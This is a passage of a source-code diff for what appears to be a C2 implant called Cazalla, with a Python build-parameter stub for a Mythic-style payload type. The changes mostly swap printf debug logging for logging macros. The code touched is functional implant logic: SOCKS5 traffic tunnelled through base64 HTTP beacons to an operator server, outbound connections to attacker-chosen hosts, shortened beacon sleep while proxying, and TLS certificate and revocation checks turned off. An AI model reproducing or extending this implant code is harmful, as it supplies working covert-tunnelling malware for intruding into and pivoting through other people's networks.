printf("[PAQUETE] ERROR: bloque SOCKS truncado\n");
fflush(stdout);
_err("bloque SOCKS truncado");
break;
}
@@ -490,17 +451,14 @@ PAnalizador mandarPaquete(PPaquete paquete) {
if (b64str_socks) {
memcpy(b64str_socks, buf + ecur, b64len);
b64str_socks[b64len] = '\0';
printf("[PAQUETE] Decodificando base64 SOCKS: %s\n", b64str_socks);
fflush(stdout);
_dbg("Decodificando base64 SOCKS: %s", b64str_socks);
base64_decode(b64str_socks, &raw, &raw_len);
printf("[PAQUETE] Base64 SOCKS decodificado: %zu bytes\n", raw_len);
fflush(stdout);
_dbg("Base64 SOCKS decodificado: %zu bytes", raw_len);
LocalFree(b64str_socks);
}
}
printf("[PAQUETE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
fflush(stdout);
_dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len);
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
if (raw) LocalFree(raw);
@@ -509,8 +467,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
// Remover bloque SOCKS del analizador
respuesta->tamano = cursor;
printf("[PAQUETE] Bloque SOCKS procesado, tamaño ajustado a %zu\n", cursor);
fflush(stdout);
_dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor);
found = TRUE;
break;
}
@@ -518,13 +475,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
}
if (!found) {
printf("[PAQUETE] No se encontró bloque SOCKS\n");
fflush(stdout);
_dbg("No se encontró bloque SOCKS");
}
}
} else {
printf("[PAQUETE] ERROR: fallo al decodificar base64\n");
fflush(stdout);
_err("fallo al decodificar base64");
}
LocalFree(base64str);
}
@@ -2,11 +2,6 @@
#include "cazalla.h"
#include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
BOOL sleep(PAnalizador argumentos) {
@@ -42,13 +37,13 @@ BOOL sleep(PAnalizador argumentos) {
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
if (socks_proxy_active) {
DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico");
_dbg("SOCKS activo → ajustando sleep corto dinámico");
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
}
cazallaConfig->tiempoSleep = tiempoSleep;
DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
/* respuesta al servidor */
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
@@ -26,11 +26,6 @@
#define CLOSESOCK(s) close(s)
#endif
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
@@ -71,7 +66,7 @@ static void lock_init_once(void) {
/* === Inicialización / limpieza === */
void socks_manager_init(void) {
DBG_PRINTF("socks_manager_init()");
_dbg("socks_manager_init()");
lock_init_once();
#ifdef _WIN32
WSADATA wsa;
@@ -80,7 +75,7 @@ void socks_manager_init(void) {
}
void socks_manager_cleanup(void) {
DBG_PRINTF("socks_manager_cleanup()");
_dbg("socks_manager_cleanup()");
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
@@ -152,7 +147,7 @@ static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
#else
pthread_mutex_unlock(&conn_lock);
#endif
DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s);
_dbg("create_entry sid=%u sock=%d", server_id, (int)s);
return e;
}
@@ -168,7 +163,7 @@ static void remove_entry(uint32_t server_id) {
if (prev) prev->next = cur->next;
else conn_list = cur->next;
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
DBG_PRINTF("remove_entry sid=%u", server_id);
_dbg("remove_entry sid=%u", server_id);
free(cur);
break;
}
@@ -185,8 +180,7 @@ static void remove_entry(uint32_t server_id) {
/* === Cola de salida === */
static void enqueue_outgoing(socks_msg_t *m) {
printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len);
fflush(stdout);
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
memset(n,0,sizeof(*n));
n->msg.server_id = m->server_id;
@@ -209,18 +203,14 @@ static void enqueue_outgoing(socks_msg_t *m) {
#else
pthread_mutex_unlock(&out_lock);
#endif
printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id);
fflush(stdout);
DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
_dbg("Mensaje encolado OK (sid=%u)", m->server_id);
}
/* === Volcado de cola de salida === */
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
printf("[SOCKS_MGR] flush_outgoing: iniciando\n");
fflush(stdout);
_dbg("flush_outgoing: iniciando");
if (!cb) {
printf("[SOCKS_MGR] ERROR: callback es NULL\n");
fflush(stdout);
_err("ERROR: callback es NULL");
return;
}
#ifdef _WIN32
@@ -239,17 +229,15 @@ void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
int count = 0;
while (n) {
count++;
printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
fflush(stdout);
_dbg("flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
outgoing_node_t *next = n->next;
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
if (n->msg.data) free(n->msg.data);
free(n);
n = next;
}
printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count);
fflush(stdout);
_dbg("flush_outgoing: completado (%d mensajes procesados)", count);
}
/* === Base64 === */
@@ -298,39 +286,30 @@ DWORD WINAPI remote_reader_thread(LPVOID arg) {
uint32_t sid = ra->server_id;
sock_t s = ra->s;
free(ra);
printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s);
fflush(stdout);
_dbg("Thread iniciado para sid=%u socket=%d", sid, (int)s);
unsigned char buf[4096];
int loop_count = 0;
while (1) {
loop_count++;
printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count);
fflush(stdout);
_dbg("sid=%u loop #%d, llamando recv()...", sid, loop_count);
int r = recv(s, (char*)buf, sizeof(buf), 0);
printf("[READER] sid=%u recv() retornó r=%d", sid, r);
_dbg("sid=%u recv() retornó r=%d", sid, r);
if (r < 0) {
int err = WSAGetLastError();
printf(" WSAError=%d", err);
_dbg(" WSAError=%d", err);
}
printf("\n");
fflush(stdout);
if (r <= 0) break;
printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r);
fflush(stdout);
DBG_PRINTF("reader sid=%u recv=%d", sid, r);
_dbg("sid=%u recibió %d bytes, encolando...", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m);
printf("[READER] sid=%u datos encolados OK\n", sid);
fflush(stdout);
_dbg("sid=%u datos encolados OK", sid);
}
printf("[READER] sid=%u salió del loop, cerrando socket\n", sid);
fflush(stdout);
DBG_PRINTF("reader sid=%u closing", sid);
_dbg("sid=%u salió del loop, cerrando socket", sid);
_dbg("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2);
CLOSESOCK(s);
printf("[READER] Thread terminado para sid=%u\n", sid);
fflush(stdout);
_dbg("Thread terminado para sid=%u", sid);
return 0;
}
#else
@@ -343,11 +322,11 @@ static void* remote_reader_thread(void* arg) {
while (1) {
ssize_t r = recv(s, buf, sizeof(buf), 0);
if (r <= 0) break;
DBG_PRINTF("reader sid=%u recv=%zd", sid, r);
_dbg("reader sid=%u recv=%zd", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m);
}
DBG_PRINTF("reader sid=%u closing", sid);
_dbg("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2);
CLOSESOCK(s);
@@ -362,24 +341,20 @@ typedef struct {
} socks_bound_addr_t;
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id);
fflush(stdout);
_dbg("connect_and_spawn_reader: dest=%s port=%u sid=%u", dest, port, server_id);
if (server_id == 0) {
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
fflush(stdout);
DBG_PRINTF("invalid server_id=%u (ignored)", server_id);
_err("ERROR: invalid server_id=%u", server_id);
_dbg("invalid server_id=%u (ignored)", server_id);
return -4;
}
DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
_dbg("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
struct sockaddr_in sa;
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
if (s == INVALID_SOCKET) {
printf("[SOCKS_MGR] ERROR: socket() failed\n");
fflush(stdout);
_err("ERROR: socket() failed");
return -1;
}
printf("[SOCKS_MGR] Socket creado OK\n");
fflush(stdout);
_dbg("Socket creado OK");
memset(&sa,0,sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
@@ -388,55 +363,46 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
unsigned long addr = inet_addr(dest);
if (addr == INADDR_NONE) {
/* No es una IP válida, intentar resolver como hostname */
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
fflush(stdout);
_dbg("Resolviendo hostname: %s", dest);
struct hostent *h = gethostbyname(dest);
if (!h) {
printf("[SOCKS_MGR] ERROR: gethostbyname failed\n");
fflush(stdout);
_err("ERROR: gethostbyname failed");
CLOSESOCK(s);
return -2;
}
sa.sin_addr = *(struct in_addr*)h->h_addr;
printf("[SOCKS_MGR] Hostname resuelto OK\n");
fflush(stdout);
_dbg("Hostname resuelto OK");
} else {
/* Es una IP válida */
sa.sin_addr.s_addr = addr;
}
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
fflush(stdout);
_dbg("Conectando a %s:%u...", dest, port);
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno);
fflush(stdout);
DBG_PRINTF("connect() failed errno=%d", errno);
_err("ERROR: connect() failed errno=%d", errno);
_dbg("connect() failed errno=%d", errno);
CLOSESOCK(s);
return -3;
}
printf("[SOCKS_MGR] Conexión exitosa!\n");
fflush(stdout);
_dbg("Conexión exitosa!");
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
if (bound) {
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
bound->port = sa.sin_port; // ya en network byte order
printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port));
fflush(stdout);
_dbg("Bound addr: %08X:%u", ntohl(bound->ipv4), ntohs(bound->port));
}
/* timeout para evitar bloqueo indefinido */
int timeout_ms = 15000; // 15s
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
DBG_PRINTF("socket timeout set %d ms", timeout_ms);
_dbg("socket timeout set %d ms", timeout_ms);
printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id);
fflush(stdout);
_dbg("Creando entry para sid=%u", server_id);
create_entry(server_id, s);
#ifdef _WIN32
reader_args_t *ra = malloc(sizeof(reader_args_t));
ra->server_id = server_id; ra->s = s;
printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id);
fflush(stdout);
_dbg("Creando thread lector para sid=%u", server_id);
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
#else
pthread_t tid;
@@ -445,26 +411,22 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
pthread_create(&tid, NULL, remote_reader_thread, ra);
pthread_detach(tid);
#endif
printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id);
fflush(stdout);
_dbg("connect_and_spawn_reader completado OK para sid=%u", server_id);
return 0;
}
/* === Procesamiento principal === */
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
fflush(stdout);
DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
_dbg("process_incoming: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
_dbg("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
if (server_id == 0) {
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
fflush(stdout);
DBG_PRINTF("invalid server_id=%u", server_id);
_err("ERROR: invalid server_id=%u", server_id);
_dbg("invalid server_id=%u", server_id);
return -4;
}
if (exit_flag) {
printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id);
fflush(stdout);
_dbg("Exit flag set, removiendo entry sid=%u", server_id);
remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m);
@@ -475,20 +437,17 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
if (!e) {
char dest[256]; uint16_t dport=0;
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport);
fflush(stdout);
DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
_dbg("Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
_dbg("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
if (r != 0) return -1;
socks_bound_addr_t bound;
memset(&bound, 0, sizeof(bound));
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc);
fflush(stdout);
DBG_PRINTF("connect_and_spawn_reader rc=%d", rc);
_dbg("connect_and_spawn_reader rc=%d", rc);
_dbg("connect_and_spawn_reader rc=%d", rc);
if (rc != 0) {
printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc);
fflush(stdout);
_err("ERROR: connect_and_spawn_reader falló con rc=%d", rc);
return -2;
}
@@ -503,30 +462,24 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
/* Copiar puerto (2 bytes en network byte order) */
memcpy(&reply[8], &bound.port, 2);
printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n",
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
fflush(stdout);
_dbg("Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u",
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
enqueue_outgoing(&m);
printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id);
fflush(stdout);
_dbg("Respuesta SOCKS encolada para sid=%u", server_id);
return 0;
} else {
printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len);
fflush(stdout);
_dbg("Entry encontrada para sid=%u, enviando %zu bytes al socket remoto", server_id, data_len);
if (e->sock != INVALID_SOCKET) {
size_t total = 0;
while (total < data_len) {
printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len);
fflush(stdout);
_dbg("sid=%u enviando %zu bytes (total=%zu de %zu)", server_id, data_len - total, total, data_len);
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w);
fflush(stdout);
_dbg("sid=%u send() retornó w=%d", server_id, w);
if (w <= 0) {
printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id);
fflush(stdout);
DBG_PRINTF("send error sid=%u w=%d", server_id, w);
_err("send() falló para sid=%u, cerrando conexión", server_id);
_dbg("send error sid=%u w=%d", server_id, w);
remove_entry(server_id);
socks_msg_t m = {server_id, 1, NULL, 0};
enqueue_outgoing(&m);
@@ -534,13 +487,11 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
}
total += w;
}
printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len);
fflush(stdout);
DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id);
_dbg("sid=%u enviados %zu bytes OK", server_id, data_len);
_dbg("sent %zu bytes sid=%u", data_len, server_id);
return 0;
} else {
printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id);
fflush(stdout);
_err("socket inválido para sid=%u", server_id);
return -2;
}
}
@@ -549,13 +500,13 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
/* === Stubs start/stop === */
int socks_manager_start_proxy(uint16_t local_port) {
socks_proxy_active = 1;
DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port);
_dbg("socks_manager_start_proxy port=%u (active)", local_port);
(void)local_port;
return 0;
}
int socks_manager_stop_proxy(void) {
DBG_PRINTF("socks_manager_stop_proxy()");
_dbg("socks_manager_stop_proxy()");
socks_proxy_active = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
@@ -8,11 +8,6 @@
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
#endif
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
/* =======================================================
Obtener código de estado HTTP
@@ -39,8 +34,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) {
Petición HTTP (envío + recepción)
======================================================= */
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen);
fflush(stdout);
_dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen);
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
@@ -65,28 +59,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
printf("[TRANSPORTE] WinHttpOpen()\n");
fflush(stdout);
_dbg("WinHttpOpen()");
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) {
printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError());
fflush(stdout);
_err("WinHttpOpen falló (%lu)", GetLastError());
return NULL;
}
printf("[TRANSPORTE] WinHttpOpen OK\n");
fflush(stdout);
_dbg("WinHttpOpen OK");
printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp);
fflush(stdout);
_dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp);
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) {
printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError());
fflush(stdout);
_err("WinHttpConnect falló (%lu)", GetLastError());
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] WinHttpConnect OK\n");
fflush(stdout);
_dbg("WinHttpConnect OK");
// Log complete URL - ensure endpoint starts with /
wchar_t endpointBuf[256];
@@ -101,36 +89,29 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
cazallaConfig->hostName,
cazallaConfig->puertoHttp,
endpointBuf);
printf("[TRANSPORTE] Complete URL: %ls\n", urlBuffer);
fflush(stdout);
_dbg("Complete URL: %ls", urlBuffer);
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
fflush(stdout);
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
if (!hPeticion) {
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError());
fflush(stdout);
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] WinHttpOpenRequest OK\n");
fflush(stdout);
_dbg("WinHttpOpenRequest OK");
if (cazallaConfig->SSL) {
printf("[TRANSPORTE] Configurando opciones SSL\n");
fflush(stdout);
_dbg("Configurando opciones SSL");
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError());
fflush(stdout);
_wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError());
} else {
printf("[TRANSPORTE] SSL flags configurados OK\n");
fflush(stdout);
_dbg("SSL flags configurados OK");
}
// También configurar para deshabilitar revocación de certificados
@@ -147,8 +128,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
}
}
printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen);
fflush(stdout);
_dbg("Enviando %u bytes de datos codificados", bufferLen);
// Log first 100 bytes of data being sent (base64 preview)
if (bufferLen > 0 && bufferIn) {
@@ -156,40 +136,33 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
memcpy(preview, bufferIn, previewLen);
preview[previewLen] = '\0';
printf("[TRANSPORTE] Data preview (first %zu bytes): %s\n", previewLen, preview);
_dbg("Data preview (first %zu bytes): %s", previewLen, preview);
if (bufferLen > 100) {
printf("[TRANSPORTE] ... (total %u bytes, showing first 100)\n", bufferLen);
_dbg("... (total %u bytes, showing first 100)", bufferLen);
}
fflush(stdout);
}
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError());
fflush(stdout);
_err("WinHttpSendRequest falló (%lu)", GetLastError());
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] WinHttpSendRequest OK\n");
fflush(stdout);
_dbg("WinHttpSendRequest OK");
printf("[TRANSPORTE] Esperando respuesta...\n");
fflush(stdout);
_dbg("Esperando respuesta...");
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError());
fflush(stdout);
_err("WinHttpReceiveResponse falló (%lu)", GetLastError());
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] WinHttpReceiveResponse OK\n");
fflush(stdout);
_dbg("WinHttpReceiveResponse OK");
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado);
fflush(stdout);
_dbg("HTTP status = %lu", codigoDeEstado);
// Try to get response headers for debugging
if (codigoDeEstado != 200) {
@@ -197,26 +170,23 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
printf("[TRANSPORTE] Response headers:\n");
printf("[TRANSPORTE] %ls\n", headers);
_dbg("Response headers:");
_dbg("%ls", headers);
} else {
printf("[TRANSPORTE] Could not retrieve response headers (error: %lu)\n", GetLastError());
_wrn("Could not retrieve response headers (error: %lu)", GetLastError());
}
fflush(stdout);
}
if (codigoDeEstado != 200) {
printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado);
printf("[TRANSPORTE] Request URL was: %ls\n", urlBuffer);
printf("[TRANSPORTE] Request size was: %u bytes\n", bufferLen);
fflush(stdout);
_err("HTTP status no OK --> %lu", codigoDeEstado);
_err("Request URL was: %ls", urlBuffer);
_err("Request size was: %u bytes", bufferLen);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
return NULL;
}
printf("[TRANSPORTE] HTTP status OK (200)\n");
fflush(stdout);
_dbg("HTTP status OK (200)");
do {
dwTamano = 1024;
@@ -236,13 +206,11 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
: LocalAlloc(LPTR, respSize);
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize);
fflush(stdout);
_dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize);
memset(buffer, 0, sizeof(buffer));
} while (dwTamano > 0);
printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize);
fflush(stdout);
_dbg("Respuesta total %lu bytes", respSize);
WinHttpCloseHandle(hPeticion);
WinHttpCloseHandle(hConexion);
WinHttpCloseHandle(hSesion);
@@ -253,8 +221,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
/* Aquí solo devolvemos el analizador con los datos base64-encoded */
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n");
fflush(stdout);
_dbg("realizarPeticionHTTP() completado");
return analizador;
}
@@ -263,8 +230,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
======================================================= */
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano);
fflush(stdout);
_dbg("mandarYRecibir() len=%zu", tamano);
return realizarPeticionHTTP(datos, (UINT32)tamano);
#else
return NULL;
@@ -1,10 +1,5 @@
#include "utils.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
@@ -153,20 +148,20 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
if (!buf) {
DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need);
_err("base64_decode: LocalAlloc failed for %zu bytes", need);
return 0;
}
int ok = b64Decodificado(b64, buf, need);
if (!ok) {
LocalFree(buf);
DBG_PRINTF("base64_decode: b64Decodificado failed");
_err("base64_decode: b64Decodificado failed");
return 0;
}
*out = buf;
*out_len = (size_t)need;
DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len);
_dbg("base64_decode: decoded %zu bytes", *out_len);
return 1;
}
@@ -181,12 +176,12 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
char *s = b64Codificado(data, (SIZE_T)dlen);
if (!s) {
DBG_PRINTF("base64_encode: b64Codificado failed");
_err("base64_encode: b64Codificado failed");
return 0;
}
/* b64Codificado already uses LocalAlloc in original impl */
*out_b64 = s;
DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
_dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
return 1;
}
@@ -4,9 +4,9 @@
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "debug.h"
#include <stdio.h>
#include <string.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
@@ -30,10 +30,18 @@ class CazallaAgent(PayloadType):
default_value="exe"
),
BuildParameter(
name="debug",
parameter_type=BuildParameterType.Boolean,
description="Enable debug mode (adds -D_DEBUG -DDEBUG_SOCKS and console output)",
default_value=False
name="debug_level",
parameter_type=BuildParameterType.ChooseOne,
